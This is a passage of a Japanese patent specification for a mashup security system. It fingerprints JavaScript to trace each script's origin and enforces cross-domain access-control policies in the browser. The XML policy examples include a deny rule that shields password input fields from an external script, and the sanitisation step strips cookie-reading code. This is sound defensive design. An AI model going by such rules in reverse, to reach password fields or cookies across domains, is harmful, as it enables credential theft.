データチェック機構５０２は、SNSやBlog, BBS, wikiシステムの場合、主にサニタイゼーションとして、JavaScriptを除去する。SNSやBlog, BBS, wikiシステムの場合、そういうコードを実行する必然性が通常ないからである。ここでは、キーワードマッチングで、禁止される言葉を置き換えたりすることも行う。この発明の実施例では、サーバサイドマッシュアップシステムにおいて、一般ユーザの入力のみではなく、他のサービスサーバから提供されるデータやJavaScriptもチェック対象とする。特に、JavaScriptの場合、プログラムを解析し、プログラムの断片及び各メソッドのフィンガープリント（固有の識別情報）を求め、そのオリジン（URL）と共に、付加データのデータベース５０６に保存する。これらの情報を用いて、アプリケーションを生成した後に、自動的にJavaScriptのオリジンを判別し、付加情報として一緒にクライアント側に送信する。
【００５４】
フィンガープリント、すなわち識別情報を求めるとき、前処理によってプログラムを正規化する。それは、アプリケーションプログラムが外部のプログラムを使用する前に、スペースや改行、コメントを入れたり、または"を'に変換するなどの変換を行なっている可能性があるためである。従って、後で行なうプログラムの自動判別を正しく行なうため、一定の形式に正規化を行ない、分割してからフィンガープリントを計算する。
例えば、http://www.server1.com/getMap.jsには以下のプログラムが含まれているとする。
function buildRequest(data) {
// buildRequest の中身
}
function sendData(request) {
// sendData の中身
}
var position = document.form1.position.value;
var request = buildRequest(position);
sendData(request);
このプログラムには、２つのfunction（関数）とinnerプログラムが含まれているため、次の３つの部分プログラムに分割できる。（分割されたそれぞれの単位は、かならず同時に実行される）
1) functionbuildRequest(){//buildRequestの中身}
2) functionsendData(){//sendDataの中身}
3) varposition=document.form1.position.values;varrequest=buildRequest(position);sendData(request);
フィンガープリントをセキュアハッシュ関数 (ここでは、SHA-1を用いるが、SHA-0、SHA-2など、その他の適当なハッシュ関数も使用することができる) により計算する場合、これらの部分プログラムに対しそれぞれハッシュ値を計算し、オリジンhttp://www.server1.com/getMap.jsと共にデータベース５０６に入れる。メソッドの場合、メソッド名も一緒に保存する。その内容を、下記の表に示す。
【表１】
2008299414.tif 000003
【００５５】
また、メソッドを含まないプログラムも考えられる。例えば、マッシュアップにより生成された以下のようなHTMLがあるとする。
<img onLoad="document.getElementById('input2');...." src="..." >
このimg要素のonLoad部分に埋めたプログラムも外部サーバhttp://www.server2.com/specialEvent.jsから入力されたものとする。その場合、"document.getElementById(input2);..." というスクリプト文字列を正規化してしハッシュ値を取り、テーブルに保存する。
【００５６】
アプリケーション生成機構５０８は、プログラマの記述したアプリケーションロジックに基づき、データやプログラムを組み合わせて、クライアント側で動くアプリケーション（通常、ＨＴＭＬ＋JavaScript）を生成するものである。これに限定されるものではないが、１つの例として、本出願人に係る、特願２００６−３２６３３８明細書に記載されている技術によるものがある。アプリケーション生成機構５０８は、図６に関連して、後でより詳しく説明する。
【００５７】
メタラベル付与機構５１０は、生成されたアプリケーション内に挿入されたプログラムのオリジン情報を、その挿入されたプログラムのフィンガープリントを作成して、データベース５０６から検索することによって取得し、メタデータとして、コンテンツに付加する。より詳細に述べると、メタラベル付与機構５１０は、アプリケーション生成機構５０８からの出力（HTML＋JavaScript）に対し、JavaScript部分の解析を行ない、外部から取得したプログラムの場合、そのオリジンを表す付加情報を付ける。また、表1のテーブルに存在しないメソッドが見つかったとき、自分のサーバが生成したプログラムとして、フィンガープリント、メソッド名とオリジンを前記の表に登録する。
【００５８】
また、メタラベル付与機構５１０は、<script>タグに囲まれている各メソッドの文字列に対し、スペース、改行、コメント、'や"などの符号を正規化をした上で、フィンガープリントを計算する。文字列の処理は、データチェック機構５０２に相応した作業を行う必要がある。また、一つの<script>に入っているメソッドやプログラムは同じ外部サイトから取得したものを前提として、アプリケーション生成機構が動作していたので、一つの<script>に対し一つのメソッドを取り出してフィンガープリントを計算すればよい。このとき、メソッドが含まれていない場合、あるいは、onClick, onLoadなどのイベントに記述されるプログラム全体に対しフィンガープリントを計算する。フィンガープリントを用いてデータベース５０６を参照し、そのオリジンを調べる。オリジンが分かったら、XPathでJavaScriptの場所を指定し、オリジンを表す情報を生成する、という処理を行う。
【００５９】
オリジンを表すドメイン情報は、例えばmeta要素を利用して、
<meta name=URL:http://www.server1.com/getMap.js href="//*[@id='id1'] "/>
のように表現する。ここでは、hrefを用いてscriptタグの場所を表し、nameを用いてプログラムのオリジンを表す。更に、onClickやonLoadなどのイベント部のプログラムは
<meta name=" URL:http://www.server2.com/specialEvent.js" href="//*[@id='id2']/@onLoad"/>
のように表す。
また、JavaScriptの出ところをユーザからは隠蔽したい場合、name部分はURLではなく、別名を付ける方法も可能である。例えば、下記のようにする。
【００６０】
<meta name="nickname:S1" href="//*[@id='id1']" />
<meta name="nickname:S2" href="//*[@id='id2']/@onLoad" />
この二つの記述をポリシーとして、データベース５０６に保存する。
【００６１】
一方で、個々のコンテンツ提供サーバの提供するコンテンツ自体に、外部ドメインのJavaScriptプログラムからのアクセスを制御するためのポリシーが事前に付与されている場合もある。ドメインに別名を用いた場合、付加データのデータベース５０６に保存されているポリシーを関連する部分のメインも別名に直す必要がある。
【００６２】
例えば、もとのコンテンツのアクセス制御ポリシーが
<rule object="XPath: //input[@type='password']" subject="URL:http://www.server2.com/*" action="*" permission="deny" />
となっている場合、別名に合わせて
<rule object="XPath: //input[@type='password']" subject="nickname:S2" action="*" permission="deny" />
に変更する。なお、このポリシーで、action="*"は、全てのアクションを指定することを意味する。
【００６３】
このようにして、データベース５０６には、様々なウェブ・サービスのサイトから送られてきたコンテンツのスクリプトにおけるコードのメソッド部分、実行部分のフィンガープリントと、それに対応するオリジン情報が蓄積される。ウェブ・サービスから送られてくるコンテンツ自体にポリシーが含まれていることがあり、その場合、そこから抽出されたポリシーが、やはり、データベース５０６に保存される。さらにまた、サーバ・コンピュータ２００の管理者が、ポリシーを作成して、予めデータベース５０６を保存しておくこともでき、それは、上記の取り込んだポリシーに対して、追加のポリシーになる。
【００６４】
このように取り込まれた、そのオリジンに関連付けられた、コンテンツのスクリプトにおけるコードのメソッド部分、実行部分に、どのようなアクセス制御ポリシー（上記で、<rule ... />で定義したもの）を付与するかは、予め、サーバ２００のシステム管理者が、オリジン毎に決めておく。そうして、アクセス制御ポリシーに指定されていないオリジンからのコンテンツに含まれていたスクリプトは、実行を許可しないようにする。なお、アクセス制御ポリシーの詳細については後で説明する。
【００６５】
本発明によれば、上記のようにして、正規化された部分コンテンツのフィンガープリントを事前に記録しておき、そうして、マッシュアップ後のコンテンツで挿入されたスクリプト部分のメソッド定義、及びメソッド呼び出しを含むコード部分について、正規化及びフィンガープリントの作成を、上記と同様の方法で行う。そうして作成されたフィンガープリントの値で、データベース５０６を検索し、一致するフィンガープリントの値が見つかると、そのフィンガープリントの値に関連付けられたオリジン情報で以って、マッシュアップ・アプリケーションの処理に依存せずに、挿入されたスクリプト部分のオリジン情報とみなすことができる。ＳＨＡ−１などのセキュア・ハッシュ関数では、衝突の確率が極めて小さいので、オリジン情報の確度は非常に高い。なお、従来の一般的な方法では、例えば、事前に部分コンテンツにオリジン情報をコメントとして挿入しておくような手法も考えられる。しかし、この場合はマッシュアップ・アプリケーションによって、スペースやコメントが削除されるなどのわずかな変更があっても、最早、コードのオリジンを正しく検出できなくなる。
【００６６】
メソッド書き換え機構５１２は、マッシュアップの結果として組み合わされたコンテンツ中で、同名のJavaScript内の関数などを検出し、名前の衝突が起きないように、一方の関数を書き換える処理を行う。
【００６７】
JavaScriptでは、外部からのメソッドを使用するとき、メソッド同士が同じ名前を使ってしまう可能性がある。JavaScriptでは同じ名前を持つメソッドは後者のほうが前者をオーバーライドしてしまう。そこで、メソッド書き換え機構５１２で、表１のテーブルを用いてメソッドのオーバーライドをチェックし、オーバーライドが見出されたとき、JavaScriptを部分的に書き換えることによって、オーバーライドを回避する。関数名の書き換え方法であるが、例えば、メタラベル付与機構５１０から取得されたオリジン情報を、プリフィックスとして関数名に付ける、という方法がある。
【００６８】
表１では、アプリケーションに全てのメソッドが登録されているので、メソッド書き換え機構５１２は、メソッド名として同じものが含まれるかをチェックする。同じものが含まれたときは、メソッド名を変更し、更に、そのメソッドをcallしたプログラムも合わせて新しいメソッド名に置き換える必要がある。この場合、二つの場合が考えられる。第１の場合では、callする側のプログラムは、新しいメソッド名に書き換えられるメソッドと同じドメインに属す。第２の場合では、callする側は自分のドメインにcallされるメソッドが存在していないし、callされるメソッド名を持つメソッド自体は複数の別ドメインに存在する。
【００６９】
第１の場合では、他のプログラムに影響しないので、callする側も新しいメソッド名に置き換えれば、処理が終了となる。しかし、第２の場合では、同じ名前を持つメソッドが複数存在するため、callする側はどのメソッドを呼び出したいのかは判断できない。この場合、最早自動的な処理は難しく、マッシュアップ・アプリケーションを作成しているプログラマに警告を行い、callするメソッドを手動で名前を書き換えたメッソド名に変更してもらうなどの、支援が必要となる。
【００７０】
ポリシー付与機構５１４は、クライアント１００にコンテンツを提供する際に、データベース５０６及びメソッド書き換え機構５１２から、情報を取得し、アプリケーションにメタ情報とポリシーを付け、一緒にクライアント１００に送信する。クライアント１００側では、アクセス制御を行ないながら、マッシュアップアプリケーションを実行する。アプリケーションとポリシーの結びつきは、HTMLドキュメントに直接埋める方法（たとえば、head内部にポリシーを書く）、と外部ファイルとしてポリシーを独立にさせる方法（たとえば、linkを用いて、ポリシーファイルを指定する）などの方法が考えられる。
【００７１】
図６は、図５に示した、アプリケーション生成機構５０８の、より詳細なブロック図である。図６に示すように、アプリケーション生成機構５０８は、プログラム取得機構６２０と、アプリケーション・ロジック６２２と、ＩＤ生成機構６２４とからなる。プログラム取得機構６２０は、サービス・サーバ６０２等、及びデータチェック機構５０２を経て入力された、外部のJavaScriptプログラムを、アプリケーション・ロジック６２２に渡す。アプリケーション・ロジック６２２は、そうして渡されたJavaScriptプログラムを、その出力の一部として埋める。このとき、<script>タグを使用する場合、１つのサービス・サーバから取得したプログラムは、１つの<script>〜</script>の括りに収めるようにする。下記の例を参照されたい。
【００７２】
<script type="text/javascript" id="id1">
function BuildRequest(data)     {
// BuildRequestの中身
}
function SendData(request)     {
// BuildRequestの中身
}
var request = BuildRequest(position);
SendData(request);
</script>
<img onClick="document.getElementById("input2") ... "src="..." id="id2">
【００７３】
この例に示すように、本実施例では、１つのサービスから由来する単位毎に、idを付けて区別するのであるが、１つのアプリケーション中で、重複するidが存在してはいけないため、ＩＤ生成機構６２４は、既に付与されているidとは違うidを付与する。また、上記に示すように、onLoadやonClickなどのイベントによって実行されるJavaScriptプログラムにもタグを付ける。これは、ポリシー中で、metaタグで、一意的に指定するためである。重複するidを避けて、新たなidを付与いる方法としては、既に付与されているidを別途保存しておき、乱数などにより既に保存されているのとは異なる新たなidを生成して、付与するなどの方法を用いることができる。
【００７４】
なお、データチェック機構５０２は、有害と判断されるJavaScriptプログラムに対しては、タグ自体を&lt;〜&gt;で置き換えたり、タグ自体を削除したりして無効化する方法をとるようにしているが、あるいは、素性が確認できない、明らかに怪しいJavaScriptプログラムに対しては、<tainted>〜</tainted>タグを付与してもよい。この<tainted>〜</tainted>タグにあるコードは、後述するクライアント１００のスクリプトエンジンで実行されないように制御される。
【００７５】
次に、クライアント１００側の処理について、説明する。クライアント１００は、すべてのアプリケーションに共通に適用されるセキュリティポリシー以外に、外部から指定されたポリシー（例えば、アプリケーションに依存するポリシー）にも依存するようなセキュリティ制御の仕組みをもつ。
【００７６】
このような仕組みを実現するために、クライアント１００は、例えば、図７のブロック図で示すような処理の論理構成をもつ。以下では、いちいち断わらないが、図示する機能ブロックは、Ｃ、Ｃ＋＋、Ｃ＃、Ｊａｖａなどの既存のプログラムで書かれ、クライアント・コンピュータ１００のハードディスク１０４に保存されており、オペレーディング・システムの機能により、必要に応じて、メインメモリ１１０にロードされるものとする。
【００７７】
図７において、サーバ２００から送られたコンテンツその他のデータは、一旦、インプット・スプリッタ７０２で処理される。好適には、サーバ２００から送られたコンテンツその他のデータは、クライアント・コンピュータ１００のハードディスク１０４の所定のバッファ領域に保存されて、インプット・スプリッタ７０２によってスキャンされる。そうして、インプットスプリッタ７０２は、スキャンしたコンテンツその他のデータを、ＨＴＭＬ部分７０４と、典型的にはJavaScriptであるスクリプト部分７０６と、セキュリティポリシー及びオリジン情報に関わるメタタグを含む付加情報部分７０８に分解して、ハードディスク１０４に保存する。
【００７８】
ここで、ＨＴＭＬ部分７０４とは、通常のＨＴＭＬ文書における静的な部分で、例えば、下記のようなものである。
<h2>本日のニュース</h2>
<p>本日、東京都豊島区で、・・・・</p>
【００７９】
下記のように、表示の色、フォントやマージンなどを規定するスタイルシートの定義も、ＨＴＭＬ部分に含めるものとする。
<style type="text/css">
h2 { color: white; background: lightgreen; }
body { background: white; margin-left: 2em; margin-right: 3em; }
</style>
【００８０】
スクリプト部分７０６とは、例えば、次のようなものである。なお、下記のＵＲＬ http://www.webmap.comは、ここでの説明のために仮想的に記述したものであり、実際するＵＲＬを想定したものではないことに留意されたい。
<script type="text/javascript"
src="http://www.webmap.com/maps?file=api&v=1&key=given key">
</script>  
<script type="text/javascript" id="script1">
//<![CDATA[
var map = new GraphicMap(document.getElementById("map"));
map.centerZoom(new MapPoint(118.0000, 47.0000), 4);
//]]>
</script>
【００８１】
スクリプト部分７０６には、上記のように、<script>〜</script>で囲まれた部分だけではなく、DOMなどに関連して実行されるコードも含まれる。
document.GetElementById("IMG").width = 30;
document.GetElementById("IMG").setAttribute("align","right");
【００８２】
またさらに、スクリプト部分７０６には、下記のように、<script>〜</script>で指定され、あるいは、外部からの関数、スクリプトを指定する、下記のような箇所も含まれる。下記で、ChangeBgColor()という関数は、<script>〜</script>で予め定義されているとする。
<form>
<input type="button" value="Red" onClick="ChangeBgColor('yellow','red')"><br>
<input type="button" value="Blue" onClick="ChangeBgColor('white','blue')"><br>
</form>
あるいは、下記のようなコードも含まれ得る。Function1()は、なんらかのイメージ・ファイルの内容を返すものとする。
<img src="Function1()" width="20" height="30">
【００８３】
付加情報部分７０８には、下記のようなセキュリティポリシーが含まれる。これは、上述のwww.webmap.comと、それが提供するＡＰＩを利用したコードに関するものである。
<accessControlPolicy>
<rule object="entireDomain" subject="www.webmap.com" action="read" 
permission="allow" />
<meta name=”nickname:S1” href=”//*[@id=’script1’]” />
<rule object=”entireDomain” subject=”nickname:S1” action=”read, write”
permission=”allow” />
</accessControlPolicy>
【００８４】
なお、図７からは、インプット・スプリッタ７０２に、ＨＴＭＬ部分と、スクリプト部分と、付加情報部分が同時にサーバ２００から送信されてくるようにも見えるが、必ずしもそうではなく、ＨＴＭＬ部分と、スクリプト部分と、付加情報部分とが時間的に別個に提供されてもよいことを理解されたい。
【００８５】
レンダリング・エンジン７１０は、インプット・スプリッタ７０２によって分離されたＨＴＭＬ部分７０４を描画して、ディスプレイ１１４（図２）に表示する働きを行うもので、通常のウェブ・ブラウザが備える機能を、そのまま利用することができる。
【００８６】
スクリプト・エンジン７１２は、クライアント・コンピュータ１００のユーザーがブラウズしているコンテンツに含まれているスクリプト部分７０６を実行する。スクリプト部分の実行は、ブラウズによるメモリ１１０へのロード、ユーザーによる所定のボタンのクリックなど、スクリプト部分に記述されているイベントのトリガによって、スクリプト・エンジン７１２は、実行処理を開始する。スクリプト・エンジン７１２は特に、実行しようとしているスクリプトのコードが、センシティブかどうか判断し、センシティブであると判断すると、アクセス制御エンジン７１４に、アクセス可能かどうかの問い合わせを行う。
【００８７】
具体的には、DOMオブジェクトをもつメソッド、DOMオブジェクトを返すメソッド、XMLHttpRequestを利用しているメソッドなどが、センシティブであると判断されることになる。
具体例でみると、第１と第３の式は、DOMノードに直接アクセスするので、センシティブであると判断される。一方、第２の式は、単に変数に値を代入するだけなので、センシティブであるとは見なされない。
var node = document.getElementById("xxx"); // センシティブ
var msg = "hello," + " world."; // センシティブではない
node.innerHTML = msg; // センシティブ
【００８８】
スクリプト・エンジン７１２は、アクセス制御エンジン７１４からの、アクセス可能の応答により、通常どおりのスクリプトの実行を行う。一方、アクセス制御エンジン７１４から、アクセス不可の応答があると、スクリプト・エンジン７１２は、nullを返すか、例外を発生させるか、のどちらかを行う。
【００８９】
アクセス制御エンジン７１４は、スクリプト・エンジン７１２からの問い合わせを受け取って、実行してもよいかどうかの判定を行う。その判定には、インプット・スプリッタ７０２によって保存された付加情報部分７０８、及び、スクリプト・エンジン７１２から明示的または暗黙的に受け取るコンテキスト（呼び出し元コードの属するドメイン、呼び出しのスタック）を用いる。アクセス制御エンジン７１４は、付加情報部分７０８以外に、予め組み込まれたポリシーをもつことができる。これにより、付加情報部分７０８に規定されたルールが適用されない場合に、この予め組み込まれたポリシーがデフォールトで適用されることになる。
【００９０】
図７に示すような機能は、現時点で入手可能な、一般的なウェブ・ブラウザが必ずしも標準で備えている機能ではない。従って、一般的なウェブ・ブラウザにこのような機能を実現させるためには、プラグインとして、上述の機能を提供するか、または、ソースコードの形でウェブ・ブラウザが入手可能である場合、ソースコードに追加機能部分を書き足して、ビルドし直す、などの手段をとることができる。
【００９１】
ここで、本発明における、アクセス制御ポリシーについて説明する。
１．先ず、最初に行うのは、データやプログラムにドメインを定義することである。
もし、データやプログラムに署名がなされていれば、署名をもちいて、ドメイン（署名者）が決まる。
データやプログラムが署名されていないとき、URLを用いてドメイン(URL)が決まる。
ウェブページの作成者または管理者は、同じ署名部分または外部にとって同じURLとなる部分的なコンテンツに対し、メタデータで更に細かいドメインを定義し、その部分のデータまたはプログラムのドメイン(meta)が決まる。
ドメイン定義は局所優先ポリシーで一意に決まる。
２．あるドメインのプログラムが別ドメインにあるデータにアクセスするとき、クロスドメインアクセスが発生する。
３．各ドメインの管理者は自分のデータへのクロスドメインアクセスについて可否を定義するアクセス制御ポリシーを定義し、ウェブページが要求されるとき、アクセス制御ポリシーも一緒にクライアント側に渡す。
４．クロスドメインアクセスが発生するとき、アクセスされる側にアクセス制御ポリシーが定義されていれば、ポリシーに従って外部からのクロスドメインアクセスの可否が決まる。
５，クロスドメインが発生するとき、アクセス制御ポリシーが定義されていなければ、デフォルトのポリシー（例えば、外部からのクロスドメインアクセスを許さない）が適用される。
６．データとプログラムに関したクロスドメインアクセス制御ポリシーは、ルールのリストからなる。一つのルールはobject, subject, action, permissionと四つの要素を持つ。
このとき、Objectとは、アクセスされる対象であり、ドキュメントのオブジェクト、または、DOMノード及び特定のDOMノードを基点とする部分的なコンテンツ（DOMのサブツリー）、ウェブページのHTMLオブジェクト（cookie, title, URLなどDOMツリーに生成されないオブジェクトである）。
Subjectとは、クロスドメインアクセスを行なう主体となるプログラムのドメイン。ドメインは署名(signer)に基づくか、URLに基づくか、またはメタデータ基づくかをPrefix（URLまたはnickname）として指定する。正規表現による指定が可能である。
Actionとは、read, write, create, delete のようなアクセス種別。"*"と指定したとき、全てのアクションが対象となる。
Permissionとは、Allow or Denyのようなアクセス可否である。
したがって、アクセス制御ポリシーの意味は“The action from the subject to the object is allowed or denied.”（subjectからobjectへの動作は、許可されるか、拒否されるかのどちらか）となる。
７． クロスドメインアクセス制御ポリシーのobjectの指定方法について、
entireDomainで指定：ドメインに属するDOMノード全体とウェブページのHTMLオブジェクトが対象となる。
XPath://input[@type="password"]のようなXPath：式で指定する：ドメイン内XPathに選択されるDOMノードが対象となる。
HTMLObject:cookieのようなHTMLObject:オブジェクト名で指定する：ウェブページのHTMLオブジェクトが対象となる。"*"と指定したとき、全てのHTMLオブジェクトが対象となる。
アクセス制御ポリシーは局所優先ポリシーで決まる。つまり、DOMノードに関したアクセス制御ポリシーはドメインに関したアクセス制御ポリシーより優先する。
【００９２】
１つの例であるが、マッシュアップの管理者は、ドメインを定義するメータ情報とポリシーを以下のように設定する。
<accessControlPolicy>
<meta name="nickname:S1" href="//*[@id='id1']" />
<meta name="nickname:S2" href="//*[@id='id2']/@onLoad" />
<rule object="entireDomain" subject="nickname:S1" action="read, write" permission="allow" />
<rule object="XPath: //input[@type='password']" subject="nickname:S2" action="*" permission="deny" />
</accessControlPolicy>
【００９３】
以上のとおり、本発明の実施例の個々の機能を説明してきたが、図８〜図１０のフローチャートにより、本発明に係るシステムの動作を説明する。
【００９４】
先ず、図８は、サーバ・コンピュータ２００側での処理を示すフローチャートである。図８において、ステップ８０２では、サーバ・コンピュータ２００は、クライアント・コンピュータ１００からの、所定のコンテンツ受信のリクエストを受け取る。このことは、図２に示すキーボード１２２で、画面１１４に表示された所定の領域に、所望のＵＲＬを打ち込んで、画面１１４に表示された所定のボタンを、マウス１２４でクリックすることにより、行われる。このリクエストは、通信インターフェース１０６を通じて、通信回線３００上に送信され、通信インターフェース２０６を通じてサーバ・コンピュータ２００に取り込まれる。
【００９５】
ステップ８０４では、サーバ・コンピュータ２００は、このようにして取り込まれたリクエストに基づき、通信回線３００と、図１に示すプロキシ・サーバ４００を介して、そのリクエストによって指定された外部のサービスにアクセスし、そのサービスから、コンテンツを取得する。取得したコンテンツは、図５に示す、サーバ・コンピュータ２００のデータチェック機構５０２による処理のため、一旦、ディスク２０４の所定領域に保存される。
【００９６】
ステップ８０６では、データチェック機構５０２により、コンテンツのサニタイゼーションが行われる。この処理は、例えば、コンテンツが、ブログやＳＮＳである場合に、JavaScriptの部分を削除してしまう、などの処理を含む。あるいは、cookieの情報を取得しようとする部分を削除する、などの処理を含んでいてもよい。そのようにして処理された結果のコンテンツが、データベース５０４に保存される。ブログやＳＮＳではなく、JavaScript部分の処理が必要とされるコンテンツの場合は、JavaScriptの部分の削除は、行われない。
【００９７】
ステップ８０８では、データベース５０４に保存されている情報に基づき、コンテンツのJavaScriptの部分の正規化、すなわち、スペースや改行の除去、引用符を揃えるなどの処理がやはりデータチェック機構５０２で行われる。また、コンテンツのオリジン情報もこのとき取得され、正規化されたコードのフィンガープリント（具体的には、ＳＨＡ−１などによるハッシュ値）と、それに関連するオリジン情報が、ステップ８１０で、付加データのデータベース５０６に保存される。
【００９８】
ステップ８１２では、ステップ８０４で取得され、データベース５０４に保存されたコンテンツにアクセス制御ポリシーが含まれているなら、そのアクセス制御ポリシーの部分が抽出して、付加データのデータベース５０６に、保存される。
【００９９】
ステップ８１４では、アプリケーション生成機構５０８で、所定のマッシュアップの指定により、複数のサービスを組み合わせた、クライアント側で動作するアプリケーションが生成が開始される。
【０１００】
ステップ８１６で、マッシュアップで指定されたコンテンツがデータベース５０４から読み出され、ステップ８１８では、コンテンツに含まれているJavaScriptの部分の正規化が行われ、そこで、フィンガープリントが計算される。
【０１０１】
ステップ８２０では、計算されたフィンガープリントの値から、そのオリジン情報が、付加データのデータベース５０６でルックアップされ、そのオリジン情報が、コンテンツに付与される。
【０１０２】
そこで、ステップ８２２では、メソッド書き換え、すなわち、既に説明したように、重複する名前のメソッド名があった場合の書き換えと、ＩＤ生成機構６２４（図６）によるＩＤの付与が行われる。
【０１０３】
ステップ８２４では、ポリシー付与機構５１４により、ステップ８２０で取得したオリジン情報と、付与されたＩＤ情報を用いて、メタデータ及びアクセス制御ポリシーが生成される。再掲すると、メタデータ及びアクセス制御ポリシーは、例えば下記のようなものである。
<accessControlPolicy>
<meta name="nickname:S1" href="//*[@id='id1']" />
<meta name="nickname:S2" href="//*[@id='id2']/@onLoad" />
<rule object="entireDomain" subject="nickname:S1" action="read, write" permission="allow" />
<rule object="XPath: //input[@type='password']" subject="nickname:S2" action="*" permission="deny" />
</accessControlPolicy>
【０１０４】
ステップ８２６では、ポリシー付与機構５１４が、このようにして用意されたコンテンツ、メタデータ、及びアクセス制御ポリシーを、クライアント・コンピュータ１００に送信する。
【０１０５】
次に、図９及び図１０を参照して、クライアント・コンピュータ１００側の処理を説明する。図９において、ステップ９０２では、クライアント・コンピュータ１００は、サーバ２００から、コンテンツを受信する。受信されたコンテンツは、クライアント・コンピュータ１００の、ハードディスク１０４に一旦保存される。
【０１０６】
次に、ステップ９０４で、図７に示すインプット・スプリッタ７０２が、ハードディスク１０４に一旦保存されているコンテンツにアクセスして、それを、ＨＴＭＬ部分７０４、スクリプト部分７０６及び付加情報部分７０８に分割して、ハードディスク１０４に一旦保存する。
【０１０７】
ステップ９０６では、コンテンツの描画を開始する。このことは、レンダリング・エンジン７１０によって行われる。
【０１０８】
ステップ９０８では、コンテンツ中で、処理するステップとしてスクリプトがアクセスされたかどうかが判断され、もしそうなら、ステップ９１０で、アクセス制御を行いスクリプトを実行、というサブルーチンが呼ばれる。そうでなければ、スクリプトではない静的ＨＴＭＬコンテンツなので、ステップ９１２で、レンダリング・エンジン７１０により、ＨＴＭＬの描画が行われる。
【０１０９】
ステップ９１４では、処理すべき最後の要素かどうかが判断され、もしそうでなければ、ステップ９０６に戻る。ステップ９１４で、最後の要素と判断されたなら、ステップ９１６で、スクリプトを呼び出すようなイベント（onClickが関連付けられている要素の、マウスによるクリックなど）を待ちうけ、それによって呼び出されたスクリプトに関して、アクセス制御を行いスクリプトを実行、というサブルーチンが呼ばれる。
【０１１０】
図１０は、図９のアクセス制御を行いスクリプトを実行、というサブルーチンの詳細を示すフローチャートである。図１０において、ステップ１００２では、スクリプトから次の命令が読み込まれ、ステップ１００４では、そのスクリプトがセンシティブな操作を使用としているかどうかが、判断される。センシティブな操作とは、既述のように、具体的には、DOMオブジェクトをもつメソッド、DOMオブジェクトを返すメソッド、XMLHttpRequestを利用しているメソッドなどのことである。
【０１１１】
ステップ１００４で、センシティブな操作と判断されると、現在実行しているスクリプトのオリジン情報と、ＩＤで以って、スクリプト・エンジン７１２が、アクセス制御エンジン７１４に問い合わせする。アクセス制御エンジン７１４は、予め保存されている付加情報７０８を参照して、現在実行しているスクリプトのオリジン情報とＩＤの要素が、実行が許可されているかどうか確認し、もしそうなら、ステップ１０１０で、当該のスクリプトを実行する。実行が許可されないなら、スクリプト・エンジン７１２は、単にステップ１０１０を実行しない。
【０１１２】
こうして、最後のスクリプトの命令に至るまで、ステップ１０１２から、ステップ１００２に戻り、次の命令の実行となる。
【０１１３】
なお、上記実施例では、スクリプトに含まれる実行可能コードとして、JavaScriptを用いた例で説明したが、ＰＨＰ、ＪＳＰなど、コンテンツ中に書き込まれるスクリプト中の実行可能コードの形式をとるコンテンツに対して、メソッドと、そのメソッドを含むコード部分に分けてフィンガープリントを生成する、という方法をとることにより、本発明を適用可能となる。
【０１１４】
また、上記実施例は、本発明を実現するための１つの例であって、本発明の技術的範囲が上記実施例に限定されると解釈されるべきでないことを理解されたい。
【図面の簡単な説明】
【０１１５】
【図１】クライアント・コンピュータ及びサーバ・コンピュータが、外部のウェブ・サイト（サービス）に接続される様子を示す、概要ブロック図である。
【図２】クライアント・コンピュータ及びサーバ・コンピュータのハードウェアの内部構成を示すブロック図である。
【図３】マッシュアップの概念を示すブロック図である。
【図４】本発明に従い、クライアント・コンピュータのウェブ・ブラウザに、コンテンツ、メタデータ、及びアクセス制御ポリシーを送信する様子を示すブロック図である。
【図５】サーバにおける、コンテンツ処理機能を示すブロック図である。
【図６】アプリケーション生成機構のより詳細なブロック図である。
【図７】クライアント・コンピュータ側の処理機能のブロック図である。
【図８】サーバにおける、コンテンツ処理機能を示すフローチャートである。
【図９】クライアント・コンピュータ側の処理機能を示すフローチャートである。
【図１０】スクリプト実行機能を示すフローチャートである。
【図１】
2008299414.tif 000004
【図２】
2008299414.tif 000005
【図３】
2008299414.tif 000006
【図４】
2008299414.tif 000007
【図５】
2008299414.tif 000008
【図６】
2008299414.tif 000009
【図７】
2008299414.tif 000010
【図８】
2008299414.tif 000011
【図９】
2008299414.tif 000012
【図１０】
2008299414.tif 000013